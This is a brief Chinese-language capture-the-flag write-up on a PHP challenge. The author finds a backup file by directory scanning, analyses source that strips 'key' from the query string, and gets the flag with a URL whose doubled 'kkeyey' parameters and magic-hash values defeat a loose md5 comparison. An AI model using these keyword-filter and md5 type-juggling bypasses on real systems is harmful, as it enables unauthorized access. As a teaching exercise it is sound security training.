原理:御劍掃描後臺網址,分析代碼,提交的url會過濾key字符,構造kkeyey=參數;使md5字符不同,值相同,MD5繞過
發現有個index.php.bak,打開是下載一個東西
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
分析代碼
strstr()將請求url中‘?’以後的字符賦值給str
substr()將下標爲1的重新賦值給str
str_replace()把str中的key用空代替
總的來說就是替換掉key
最後需要繞過md5,加密前的MD5不同,加密後相同
構造url
http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
拿到flag